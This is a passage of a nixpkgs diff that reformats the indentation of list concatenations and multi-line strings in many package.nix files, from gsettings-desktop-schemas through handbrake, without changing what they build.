   patches = [ ./0001-Changing-paths-to-be-nix-compatible.patch ];
 
diff --git a/pkgs/by-name/gs/gsettings-desktop-schemas/package.nix b/pkgs/by-name/gs/gsettings-desktop-schemas/package.nix
index 61baf68d5f80..cb40b950a43e 100644
--- a/pkgs/by-name/gs/gsettings-desktop-schemas/package.nix
+++ b/pkgs/by-name/gs/gsettings-desktop-schemas/package.nix
@@ -26,16 +26,15 @@ stdenv.mkDerivation rec {
 
   strictDeps = true;
   depsBuildBuild = [ pkg-config ];
-  nativeBuildInputs =
-    [
-      glib
-      meson
-      ninja
-      pkg-config
-    ]
-    ++ lib.optionals withIntrospection [
-      gobject-introspection
-    ];
+  nativeBuildInputs = [
+    glib
+    meson
+    ninja
+    pkg-config
+  ]
+  ++ lib.optionals withIntrospection [
+    gobject-introspection
+  ];
 
   mesonFlags = [
     (lib.mesonBool "introspection" withIntrospection)
diff --git a/pkgs/by-name/gs/gsm/package.nix b/pkgs/by-name/gs/gsm/package.nix
index 44beb9398df1..85dc7b187ce5 100644
--- a/pkgs/by-name/gs/gsm/package.nix
+++ b/pkgs/by-name/gs/gsm/package.nix
@@ -20,31 +20,30 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-8Acukfa7hah4svbb9KC3yFDE3rgEnVVMZTQLO/ad8Kw=";
   };
 
-  patchPhase =
+  patchPhase = ''
+    # Fix include directory
+    sed -e 's,$(GSM_INSTALL_ROOT)/inc,$(GSM_INSTALL_ROOT)/include/gsm,' -i Makefile
+  ''
+  + optionalString (!staticSupport) (
+    (
+      if isDarwin then
+        ''
+          # Build dylib on Darwin
+          sed -e 's,libgsm.a,libgsm.dylib,' -i Makefile
+          sed -e 's,$(AR) $(ARFLAGS) $(LIBGSM) $(GSM_OBJECTS),$(LD) -o $(LIBGSM) -dynamiclib -install_name $(GSM_INSTALL_ROOT)/$(LIBGSM) $(GSM_OBJECTS) -lc,' -i Makefile
+        ''
+      else
+        ''
+          # Build ELF shared object by default
+          sed -e 's,libgsm.a,libgsm.so,' -i Makefile
+          sed -e 's/$(AR) $(ARFLAGS) $(LIBGSM) $(GSM_OBJECTS)/$(LD) -shared -Wl,-soname,libgsm.so -o $(LIBGSM) $(GSM_OBJECTS) -lc/' -i Makefile
+        ''
+    )
+    + ''
+      # Remove line that is unused when building shared libraries
+      sed -e 's,$(RANLIB) $(LIBGSM),,' -i Makefile
     ''
-      # Fix include directory
-      sed -e 's,$(GSM_INSTALL_ROOT)/inc,$(GSM_INSTALL_ROOT)/include/gsm,' -i Makefile
-    ''
-    + optionalString (!staticSupport) (
-      (
-        if isDarwin then
-          ''
-            # Build dylib on Darwin
-            sed -e 's,libgsm.a,libgsm.dylib,' -i Makefile
-            sed -e 's,$(AR) $(ARFLAGS) $(LIBGSM) $(GSM_OBJECTS),$(LD) -o $(LIBGSM) -dynamiclib -install_name $(GSM_INSTALL_ROOT)/$(LIBGSM) $(GSM_OBJECTS) -lc,' -i Makefile
-          ''
-        else
-          ''
-            # Build ELF shared object by default
-            sed -e 's,libgsm.a,libgsm.so,' -i Makefile
-            sed -e 's/$(AR) $(ARFLAGS) $(LIBGSM) $(GSM_OBJECTS)/$(LD) -shared -Wl,-soname,libgsm.so -o $(LIBGSM) $(GSM_OBJECTS) -lc/' -i Makefile
-          ''
-      )
-      + ''
-        # Remove line that is unused when building shared libraries
-        sed -e 's,$(RANLIB) $(LIBGSM),,' -i Makefile
-      ''
-    );
+  );
 
   preBuild = ''
     makeFlagsArray+=(CC="$CC")
diff --git a/pkgs/by-name/gs/gspell/package.nix b/pkgs/by-name/gs/gspell/package.nix
index eb9d6f29c99c..94990edd6239 100644
--- a/pkgs/by-name/gs/gspell/package.nix
+++ b/pkgs/by-name/gs/gspell/package.nix
@@ -34,20 +34,19 @@ stdenv.mkDerivation rec {
     sha256 = "ZOodjp7cHCW0WpIOgNr2dVnRhm/81/hDL+z+ptD+iJc=";
   };
 
-  nativeBuildInputs =
-    [
-      docbook-xsl-nons
-      glib # glib-mkenums
-      gobject-introspection
-      gtk-doc
-      meson
-      ninja
-      pkg-config
-      vala
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    docbook-xsl-nons
+    glib # glib-mkenums
+    gobject-introspection
+    gtk-doc
+    meson
+    ninja
+    pkg-config
+    vala
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
   buildInputs = [
     gtk3
diff --git a/pkgs/by-name/gs/gst123/package.nix b/pkgs/by-name/gs/gst123/package.nix
index 46b2fa3008f7..5bf2cdfa75f3 100644
--- a/pkgs/by-name/gs/gst123/package.nix
+++ b/pkgs/by-name/gs/gst123/package.nix
@@ -27,19 +27,18 @@ stdenv.mkDerivation (finalAttrs: {
     wrapGAppsHook3
   ];
 
-  buildInputs =
-    [
-      gtk3
-      ncurses
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-bad
-      gst-plugins-ugly
-      gst-libav
-    ]);
+  buildInputs = [
+    gtk3
+    ncurses
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-plugins-base
+    gst-plugins-good
+    gst-plugins-bad
+    gst-plugins-ugly
+    gst-libav
+  ]);
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/gt/gtest/package.nix b/pkgs/by-name/gt/gtest/package.nix
index 2678e192a375..ac80fc8e4cc1 100644
--- a/pkgs/by-name/gt/gtest/package.nix
+++ b/pkgs/by-name/gt/gtest/package.nix
@@ -49,13 +49,12 @@ stdenv.mkDerivation rec {
     ninja
   ];
 
-  cmakeFlags =
-    [
-      "-DBUILD_SHARED_LIBS=${if static then "OFF" else "ON"}"
-    ]
-    ++ lib.optionals (cxx_standard != null) [
-      "-DCMAKE_CXX_STANDARD=${cxx_standard}"
-    ];
+  cmakeFlags = [
+    "-DBUILD_SHARED_LIBS=${if static then "OFF" else "ON"}"
+  ]
+  ++ lib.optionals (cxx_standard != null) [
+    "-DCMAKE_CXX_STANDARD=${cxx_standard}"
+  ];
 
   meta = with lib; {
     description = "Google's framework for writing C++ tests";
diff --git a/pkgs/by-name/gt/gthumb/package.nix b/pkgs/by-name/gt/gthumb/package.nix
index 8f8e610c5ba7..51a662360293 100644
--- a/pkgs/by-name/gt/gthumb/package.nix
+++ b/pkgs/by-name/gt/gthumb/package.nix
@@ -81,7 +81,8 @@ stdenv.mkDerivation (finalAttrs: {
     libtiff
     libwebp
     libX11
-  ] ++ lib.optional withWebservices webkitgtk_4_0;
+  ]
+  ++ lib.optional withWebservices webkitgtk_4_0;
 
   mesonFlags = [
     "-Dlibchamplain=true"
diff --git a/pkgs/by-name/gt/gtk-doc/package.nix b/pkgs/by-name/gt/gtk-doc/package.nix
index 27bfce5f5312..a514b4f120fa 100644
--- a/pkgs/by-name/gt/gtk-doc/package.nix
+++ b/pkgs/by-name/gt/gtk-doc/package.nix
@@ -54,15 +54,14 @@ python3.pkgs.buildPythonApplication rec {
     libxslt # for xsltproc
   ];
 
-  buildInputs =
-    [
-      docbook_xml_dtd_43
-      docbook-xsl-nons
-      libxslt
-    ]
-    ++ lib.optionals withDblatex [
-      dblatex
-    ];
+  buildInputs = [
+    docbook_xml_dtd_43
+    docbook-xsl-nons
+    libxslt
+  ]
+  ++ lib.optionals withDblatex [
+    dblatex
+  ];
 
   pythonPath = with python3.pkgs; [
     pygments # Needed for https://gitlab.gnome.org/GNOME/gtk-doc/blob/GTK_DOC_1_32/meson.build#L42
diff --git a/pkgs/by-name/gt/gtk-vnc/package.nix b/pkgs/by-name/gt/gtk-vnc/package.nix
index 3732c0d94f9b..ee7d68fb48cb 100644
--- a/pkgs/by-name/gt/gtk-vnc/package.nix
+++ b/pkgs/by-name/gt/gtk-vnc/package.nix
@@ -53,20 +53,19 @@ stdenv.mkDerivation (finalAttrs: {
     gi-docgen
   ];
 
-  buildInputs =
-    [
-      gnutls
-      cairo
-      gdk-pixbuf
-      zlib
-      glib
-      gmp
-      cyrus_sasl
-      gtk3
-    ]
-    ++ lib.optionals pulseaudioSupport [
-      libpulseaudio
-    ];
+  buildInputs = [
+    gnutls
+    cairo
+    gdk-pixbuf
+    zlib
+    glib
+    gmp
+    cyrus_sasl
+    gtk3
+  ]
+  ++ lib.optionals pulseaudioSupport [
+    libpulseaudio
+  ];
 
   mesonFlags = lib.optionals (!pulseaudioSupport) [
     "-Dpulseaudio=disabled"
diff --git a/pkgs/by-name/gt/gtk4-layer-shell/package.nix b/pkgs/by-name/gt/gtk4-layer-shell/package.nix
index c47de743da1b..1c7099c0caa8 100644
--- a/pkgs/by-name/gt/gtk4-layer-shell/package.nix
+++ b/pkgs/by-name/gt/gtk4-layer-shell/package.nix
@@ -51,7 +51,8 @@ stdenv.mkDerivation (finalAttrs: {
     docbook_xml_dtd_43
     vala
     wayland-scanner
-  ] ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [ mesonEmulatorHook ];
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [ mesonEmulatorHook ];
 
   buildInputs = [
     gtk4
diff --git a/pkgs/by-name/gt/gtkgnutella/package.nix b/pkgs/by-name/gt/gtkgnutella/package.nix
index 5cd2eeb1680a..c27d79e5be10 100644
--- a/pkgs/by-name/gt/gtkgnutella/package.nix
+++ b/pkgs/by-name/gt/gtkgnutella/package.nix
@@ -32,28 +32,26 @@ stdenv.mkDerivation (finalAttrs: {
     gettext
     pkg-config
   ];
-  buildInputs =
-    [
-      glib
-      gnutls
-      libbfd
-      libxml2
-      zlib
-    ]
-    ++ lib.optionals enableGui [
-      gtk2
-    ];
+  buildInputs = [
+    glib
+    gnutls
+    libbfd
+    libxml2
+    zlib
+  ]
+  ++ lib.optionals enableGui [
+    gtk2
+  ];
 
   configureScript = "./build.sh";
-  configureFlags =
-    [
-      "--configure-only"
-      # See https://sourceforge.net/p/gtk-gnutella/bugs/555/
-      "--disable-malloc"
-    ]
-    ++ lib.optionals (!enableGui) [
-      "--topless"
-    ];
+  configureFlags = [
+    "--configure-only"
+    # See https://sourceforge.net/p/gtk-gnutella/bugs/555/
+    "--disable-malloc"
+  ]
+  ++ lib.optionals (!enableGui) [
+    "--topless"
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/gt/gtkwave/package.nix b/pkgs/by-name/gt/gtkwave/package.nix
index 791c20365117..6ae23ab2b8a4 100644
--- a/pkgs/by-name/gt/gtkwave/package.nix
+++ b/pkgs/by-name/gt/gtkwave/package.nix
@@ -25,14 +25,13 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-VKpFeI1tUq+2WcOu8zWq/eDvLImQp3cPjqpk5X8ic0Y=";
   };
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      wrapGAppsHook3
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      desktopToDarwinBundle
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    wrapGAppsHook3
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    desktopToDarwinBundle
+  ];
   buildInputs = [
     bzip2
     glib
@@ -42,7 +41,8 @@ stdenv.mkDerivation rec {
     tcl
     tk
     xz
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin gtk-mac-integration;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin gtk-mac-integration;
 
   # fix compilation under Darwin
   # remove these patches upon next release
diff --git a/pkgs/by-name/gt/gtypist/package.nix b/pkgs/by-name/gt/gtypist/package.nix
index e1ee7c369730..facac531cc67 100644
--- a/pkgs/by-name/gt/gtypist/package.nix
+++ b/pkgs/by-name/gt/gtypist/package.nix
@@ -26,7 +26,8 @@ stdenv.mkDerivation (finalAttrs: {
     ncurses
     perl
     fortune
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin libiconv;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin libiconv;
 
   preFixup = ''
     wrapProgram "$out/bin/typefortune" \
diff --git a/pkgs/by-name/gu/gucharmap/package.nix b/pkgs/by-name/gu/gucharmap/package.nix
index a4f8e78ef38d..9eec9079f8e2 100644
--- a/pkgs/by-name/gu/gucharmap/package.nix
+++ b/pkgs/by-name/gu/gucharmap/package.nix
@@ -65,27 +65,26 @@ stdenv.mkDerivation (finalAttrs: {
   };
 
   strictDeps = true;
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      python3
-      wrapGAppsHook3
-      unzip
-      intltool
-      itstool
-      gtk-doc
-      docbook_xsl
-      docbook_xml_dtd_45
-      yelp-tools
-      libxml2
-      desktop-file-utils
-      gobject-introspection
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    python3
+    wrapGAppsHook3
+    unzip
+    intltool
+    itstool
+    gtk-doc
+    docbook_xsl
+    docbook_xml_dtd_45
+    yelp-tools
+    libxml2
+    desktop-file-utils
+    gobject-introspection
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
   buildInputs = [
     gtk3
diff --git a/pkgs/by-name/gu/guestfs-tools/package.nix b/pkgs/by-name/gu/guestfs-tools/package.nix
index ed1d1eff68e2..f1354419c178 100644
--- a/pkgs/by-name/gu/guestfs-tools/package.nix
+++ b/pkgs/by-name/gu/guestfs-tools/package.nix
@@ -38,29 +38,28 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-0xLCwj6TXU5b+tUewhKE9X0E+FN0MpX6+V+WHFxmiEc=";
   };
 
-  nativeBuildInputs =
-    [
-      bison
-      cdrkit
-      cpio
-      flex
-      getopt
-      makeWrapper
-      pkg-config
-      qemu
-    ]
-    ++ (with perlPackages; [
-      GetoptLong
-      libintl-perl
-      ModuleBuild
-      perl
-      Po4a
-    ])
-    ++ (with ocamlPackages; [
-      findlib
-      ocaml
-      ounit2
-    ]);
+  nativeBuildInputs = [
+    bison
+    cdrkit
+    cpio
+    flex
+    getopt
+    makeWrapper
+    pkg-config
+    qemu
+  ]
+  ++ (with perlPackages; [
+    GetoptLong
+    libintl-perl
+    ModuleBuild
+    perl
+    Po4a
+  ])
+  ++ (with ocamlPackages; [
+    findlib
+    ocaml
+    ounit2
+  ]);
 
   buildInputs = [
     bash-completion
diff --git a/pkgs/by-name/gu/guilt/package.nix b/pkgs/by-name/gu/guilt/package.nix
index 77152b5930bc..c8f1389da050 100644
--- a/pkgs/by-name/gu/guilt/package.nix
+++ b/pkgs/by-name/gu/guilt/package.nix
@@ -43,7 +43,8 @@ stdenv.mkDerivation rec {
     gawk
     git
     gnused
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ openssl ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ openssl ];
   makeFlags = [
     "PREFIX=$(out)"
   ];
diff --git a/pkgs/by-name/gu/gum/package.nix b/pkgs/by-name/gu/gum/package.nix
index a9d90274c258..f479abe78ba4 100644
--- a/pkgs/by-name/gu/gum/package.nix
+++ b/pkgs/by-name/gu/gum/package.nix
@@ -23,17 +23,16 @@ buildGoModule rec {
     installShellFiles
   ];
 
-  ldflags =
-    [
-      "-s"
-      "-w"
-      "-X=main.Version=${version}"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isStatic) [
-      "-linkmode=external"
-      "-extldflags"
-      "-static"
-    ];
+  ldflags = [
+    "-s"
+    "-w"
+    "-X=main.Version=${version}"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isStatic) [
+    "-linkmode=external"
+    "-extldflags"
+    "-static"
+  ];
 
   postInstall = lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
     $out/bin/gum man > gum.1
diff --git a/pkgs/by-name/gu/gupnp-igd/package.nix b/pkgs/by-name/gu/gupnp-igd/package.nix
index 245f9bbcb4d9..3ba55f2e462d 100644
--- a/pkgs/by-name/gu/gupnp-igd/package.nix
+++ b/pkgs/by-name/gu/gupnp-igd/package.nix
@@ -22,7 +22,8 @@ stdenv.mkDerivation (finalAttrs: {
   outputs = [
     "out"
     "dev"
-  ] ++ lib.optionals (stdenv.buildPlatform == stdenv.hostPlatform) [ "devdoc" ];
+  ]
+  ++ lib.optionals (stdenv.buildPlatform == stdenv.hostPlatform) [ "devdoc" ];
 
   src = fetchurl {
     url = "mirror://gnome/sources/gupnp-igd/${lib.versions.majorMinor finalAttrs.version}/gupnp-igd-${finalAttrs.version}.tar.xz";
diff --git a/pkgs/by-name/gu/gusb/package.nix b/pkgs/by-name/gu/gusb/package.nix
index bbc21fcc2104..8ec444615ab9 100644
--- a/pkgs/by-name/gu/gusb/package.nix
+++ b/pkgs/by-name/gu/gusb/package.nix
@@ -36,7 +36,8 @@ stdenv.mkDerivation rec {
     "bin"
     "out"
     "dev"
-  ] ++ lib.optionals withIntrospection [ "devdoc" ];
+  ]
+  ++ lib.optionals withIntrospection [ "devdoc" ];
 
   src = fetchFromGitHub {
     owner = "hughsie";
@@ -57,17 +58,16 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-    ]
-    ++ lib.optionals withIntrospection [
-      gobject-introspection
-      gi-docgen
-      vala
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+  ]
+  ++ lib.optionals withIntrospection [
+    gobject-introspection
+    gi-docgen
+    vala
+  ];
 
   # all required in gusb.pc
   propagatedBuildInputs = [
diff --git a/pkgs/by-name/gv/gv/package.nix b/pkgs/by-name/gv/gv/package.nix
index a35771ed0be3..1038447e9720 100644
--- a/pkgs/by-name/gv/gv/package.nix
+++ b/pkgs/by-name/gv/gv/package.nix
@@ -24,16 +24,15 @@ stdenv.mkDerivation rec {
   ];
 
   nativeBuildInputs = [ pkg-config ];
-  buildInputs =
-    [
-      libXext
-      Xaw3d
-      ghostscriptX
-      perl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    libXext
+    Xaw3d
+    ghostscriptX
+    perl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   patchPhase = ''
     sed 's|\<gs\>|${ghostscriptX}/bin/gs|g' -i "src/"*.in
diff --git a/pkgs/by-name/gv/gvfs/package.nix b/pkgs/by-name/gv/gvfs/package.nix
index b44ec36390a3..eafc3a83a2b1 100644
--- a/pkgs/by-name/gv/gvfs/package.nix
+++ b/pkgs/by-name/gv/gvfs/package.nix
@@ -76,72 +76,70 @@ stdenv.mkDerivation (finalAttrs: {
     docbook_xml_dtd_42
   ];
 
-  buildInputs =
-    [
-      glib
-      libgcrypt
-      dbus
-      libgphoto2
-      avahi
-      libarchive
-      libimobiledevice
-      libbluray
-      libnfs
-      libxml2
-      gsettings-desktop-schemas
-      libsoup_3
-    ]
-    ++ lib.optionals udevSupport [
-      libgudev
-      udisks2
-      fuse3
-      libcdio
-      samba
-      libmtp
-      libcap
-      polkit
-      libcdio-paranoia
-    ]
-    ++ lib.optionals gnomeSupport [
-      gcr_4
-      glib-networking # TLS support
-      gnome-online-accounts
-      libsecret
-      libgdata
-      libmsgraph
-    ];
+  buildInputs = [
+    glib
+    libgcrypt
+    dbus
+    libgphoto2
+    avahi
+    libarchive
+    libimobiledevice
+    libbluray
+    libnfs
+    libxml2
+    gsettings-desktop-schemas
+    libsoup_3
+  ]
+  ++ lib.optionals udevSupport [
+    libgudev
+    udisks2
+    fuse3
+    libcdio
+    samba
+    libmtp
+    libcap
+    polkit
+    libcdio-paranoia
+  ]
+  ++ lib.optionals gnomeSupport [
+    gcr_4
+    glib-networking # TLS support
+    gnome-online-accounts
+    libsecret
+    libgdata
+    libmsgraph
+  ];
 
-  mesonFlags =
-    [
-      "-Dsystemduserunitdir=${placeholder "out"}/lib/systemd/user"
-      "-Dtmpfilesdir=no"
-    ]
-    ++ lib.optionals (!udevSupport) [
-      "-Dgudev=false"
-      "-Dudisks2=false"
-      "-Dfuse=false"
-      "-Dcdda=false"
-      "-Dsmb=false"
-      "-Dmtp=false"
-      "-Dadmin=false"
-      "-Dgphoto2=false"
-      "-Dlibusb=false"
-      "-Dlogind=false"
-    ]
-    ++ lib.optionals (!gnomeSupport) [
-      "-Dgcr=false"
-      "-Dgoa=false"
-      "-Dkeyring=false"
-      "-Dgoogle=false"
-      "-Donedrive=false"
-    ]
-    ++ lib.optionals (avahi == null) [
-      "-Ddnssd=false"
-    ]
-    ++ lib.optionals (samba == null) [
-      # Xfce don't want samba
-      "-Dsmb=false"
-    ];
+  mesonFlags = [
+    "-Dsystemduserunitdir=${placeholder "out"}/lib/systemd/user"
+    "-Dtmpfilesdir=no"
+  ]
+  ++ lib.optionals (!udevSupport) [
+    "-Dgudev=false"
+    "-Dudisks2=false"
+    "-Dfuse=false"
+    "-Dcdda=false"
+    "-Dsmb=false"
+    "-Dmtp=false"
+    "-Dadmin=false"
+    "-Dgphoto2=false"
+    "-Dlibusb=false"
+    "-Dlogind=false"
+  ]
+  ++ lib.optionals (!gnomeSupport) [
+    "-Dgcr=false"
+    "-Dgoa=false"
+    "-Dkeyring=false"
+    "-Dgoogle=false"
+    "-Donedrive=false"
+  ]
+  ++ lib.optionals (avahi == null) [
+    "-Ddnssd=false"
+  ]
+  ++ lib.optionals (samba == null) [
+    # Xfce don't want samba
+    "-Dsmb=false"
+  ];
 
   doCheck = false; # fails with "ModuleNotFoundError: No module named 'gi'"
   doInstallCheck = finalAttrs.finalPackage.doCheck;
diff --git a/pkgs/by-name/gw/gwyddion/package.nix b/pkgs/by-name/gw/gwyddion/package.nix
index dd7681baa9df..6e2a96f439ce 100644
--- a/pkgs/by-name/gw/gwyddion/package.nix
+++ b/pkgs/by-name/gw/gwyddion/package.nix
@@ -45,25 +45,24 @@ stdenv.mkDerivation rec {
     file
   ];
 
-  buildInputs =
-    [
-      gtk2
-      fftw
-    ]
-    ++ lib.optionals openglSupport [
-      gnome2.gtkglext
-      libGL
-    ]
-    ++ lib.optional openexrSupport openexr
-    ++ lib.optional libXmuSupport xorg.libXmu
-    ++ lib.optional fitsSupport cfitsio
-    ++ lib.optional libpngSupport libpng
-    ++ lib.optional libxsltSupport libxslt
-    ++ lib.optional libxml2Support libxml2
-    ++ lib.optional libwebpSupport libwebp
-    ++ lib.optional zlibSupport zlib
-    ++ lib.optional libuniqueSupport libunique
-    ++ lib.optional libzipSupport libzip;
+  buildInputs = [
+    gtk2
+    fftw
+  ]
+  ++ lib.optionals openglSupport [
+    gnome2.gtkglext
+    libGL
+  ]
+  ++ lib.optional openexrSupport openexr
+  ++ lib.optional libXmuSupport xorg.libXmu
+  ++ lib.optional fitsSupport cfitsio
+  ++ lib.optional libpngSupport libpng
+  ++ lib.optional libxsltSupport libxslt
+  ++ lib.optional libxml2Support libxml2
+  ++ lib.optional libwebpSupport libwebp
+  ++ lib.optional zlibSupport zlib
+  ++ lib.optional libuniqueSupport libunique
+  ++ lib.optional libzipSupport libzip;
 
   # This patch corrects problems with python support, but should apply cleanly
   # regardless of whether python support is enabled, and have no effects if
diff --git a/pkgs/by-name/gx/gxkb/package.nix b/pkgs/by-name/gx/gxkb/package.nix
index 2692a6523926..ecee614012a5 100644
--- a/pkgs/by-name/gx/gxkb/package.nix
+++ b/pkgs/by-name/gx/gxkb/package.nix
@@ -32,7 +32,8 @@ stdenv.mkDerivation rec {
     gtk3
     libwnck
     libxklavier
-  ] ++ lib.optional appindicatorSupport libayatana-appindicator;
+  ]
+  ++ lib.optional appindicatorSupport libayatana-appindicator;
 
   configureFlags = lib.optional appindicatorSupport "--enable-appindicator=yes";
   outputs = [
diff --git a/pkgs/by-name/gz/gzdoom/package.nix b/pkgs/by-name/gz/gzdoom/package.nix
index 641b82cd1647..6aac6b724567 100644
--- a/pkgs/by-name/gz/gzdoom/package.nix
+++ b/pkgs/by-name/gz/gzdoom/package.nix
@@ -43,7 +43,8 @@ stdenv.mkDerivation rec {
     makeWrapper
     ninja
     pkg-config
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ copyDesktopItems ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ copyDesktopItems ];
 
   buildInputs = [
     SDL2
@@ -77,7 +78,8 @@ stdenv.mkDerivation rec {
   cmakeFlags = [
     "-DDYN_GTK=OFF"
     "-DDYN_OPENAL=OFF"
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ "-DHAVE_GLES2=OFF" ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ "-DHAVE_GLES2=OFF" ];
 
   desktopItems = lib.optionals stdenv.hostPlatform.isLinux [
     (makeDesktopItem {
diff --git a/pkgs/by-name/h2/h2o/package.nix b/pkgs/by-name/h2/h2o/package.nix
index b3a90cdb830f..5f90ecff51f9 100644
--- a/pkgs/by-name/h2/h2o/package.nix
+++ b/pkgs/by-name/h2/h2o/package.nix
@@ -39,18 +39,17 @@ stdenv.mkDerivation (finalAttrs: {
     "lib"
   ];
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      cmake
-      makeWrapper
-      ninja
-    ]
-    ++ lib.optionals withMruby [
-      bison
-      ruby
-    ]
-    ++ lib.optional withUring liburing;
+  nativeBuildInputs = [
+    pkg-config
+    cmake
+    makeWrapper
+    ninja
+  ]
+  ++ lib.optionals withMruby [
+    bison
+    ruby
+  ]
+  ++ lib.optional withUring liburing;
 
   buildInputs = [
     brotli
diff --git a/pkgs/by-name/h5/h5utils/package.nix b/pkgs/by-name/h5/h5utils/package.nix
index 3c93a3f2a407..ac2ea6164fd7 100644
--- a/pkgs/by-name/h5/h5utils/package.nix
+++ b/pkgs/by-name/h5/h5utils/package.nix
@@ -28,15 +28,14 @@ stdenv.mkDerivation (finalAttrs: {
 
   preBuild = lib.optionalString hdf5.mpiSupport "export CC=${lib.getBin hdf5.mpi}/mpicc";
 
-  buildInputs =
-    [
-      hdf5
-      libjpeg
-      libpng
-    ]
-    ++ lib.optional hdf5.mpiSupport hdf5.mpi
-    ++ lib.optional (hdf4 != null) hdf4
-    ++ lib.optional (libmatheval != null) libmatheval;
+  buildInputs = [
+    hdf5
+    libjpeg
+    libpng
+  ]
+  ++ lib.optional hdf5.mpiSupport hdf5.mpi
+  ++ lib.optional (hdf4 != null) hdf4
+  ++ lib.optional (libmatheval != null) libmatheval;
 
   meta = {
     description = "Set of utilities for visualization and conversion of scientific data in the free, portable HDF5 format";
diff --git a/pkgs/by-name/ha/halloy/package.nix b/pkgs/by-name/ha/halloy/package.nix
index ebab765aeb55..c91836ad164c 100644
--- a/pkgs/by-name/ha/halloy/package.nix
+++ b/pkgs/by-name/ha/halloy/package.nix
@@ -36,19 +36,18 @@ rustPlatform.buildRustPackage rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      openssl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-      libxkbcommon
-      vulkan-loader
-      wayland
-      xorg.libX11
-      xorg.libXcursor
-      xorg.libXi
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+    libxkbcommon
+    vulkan-loader
+    wayland
+    xorg.libX11
+    xorg.libXcursor
+    xorg.libXi
+  ];
 
   desktopItems = [
     (makeDesktopItem {
@@ -89,23 +88,22 @@ rustPlatform.buildRustPackage rec {
     ''
   );
 
-  postInstall =
-    ''
-      install -Dm644 assets/linux/icons/hicolor/128x128/apps/org.squidowl.halloy.png \
-        $out/share/icons/hicolor/128x128/apps/org.squidowl.halloy.png
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      APP_DIR="$out/Applications/Halloy.app/Contents"
+  postInstall = ''
+    install -Dm644 assets/linux/icons/hicolor/128x128/apps/org.squidowl.halloy.png \
+      $out/share/icons/hicolor/128x128/apps/org.squidowl.halloy.png
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    APP_DIR="$out/Applications/Halloy.app/Contents"
 
-      mkdir -p "$APP_DIR/MacOS"
-      cp -r ${src}/assets/macos/Halloy.app/Contents/* "$APP_DIR"
+    mkdir -p "$APP_DIR/MacOS"
+    cp -r ${src}/assets/macos/Halloy.app/Contents/* "$APP_DIR"
 
-      substituteInPlace "$APP_DIR/Info.plist" \
-        --replace-fail "{{ VERSION }}" "${version}" \
-        --replace-fail "{{ BUILD }}" "${version}-nixpkgs"
+    substituteInPlace "$APP_DIR/Info.plist" \
+      --replace-fail "{{ VERSION }}" "${version}" \
+      --replace-fail "{{ BUILD }}" "${version}-nixpkgs"
 
-      makeWrapper "$out/bin/halloy" "$APP_DIR/MacOS/halloy"
-    '';
+    makeWrapper "$out/bin/halloy" "$APP_DIR/MacOS/halloy"
+  '';
 
   passthru.updateScript = nix-update-script { };
 
diff --git a/pkgs/by-name/ha/handbrake/package.nix b/pkgs/by-name/ha/handbrake/package.nix
index 679c110e9044..37ccd0cf48ee 100644
--- a/pkgs/by-name/ha/handbrake/package.nix
+++ b/pkgs/by-name/ha/handbrake/package.nix
@@ -146,19 +146,17 @@ let
     # nixpkgs' x265 sourceRoot is x265-.../source whereas handbrake's x265 patches
     # are written with respect to the parent directory instead of that source directory.
     # patches which don't cleanly apply are commented out.
-    postPatch =
-      (old.postPatch or "")
-      + ''
-        pushd ..
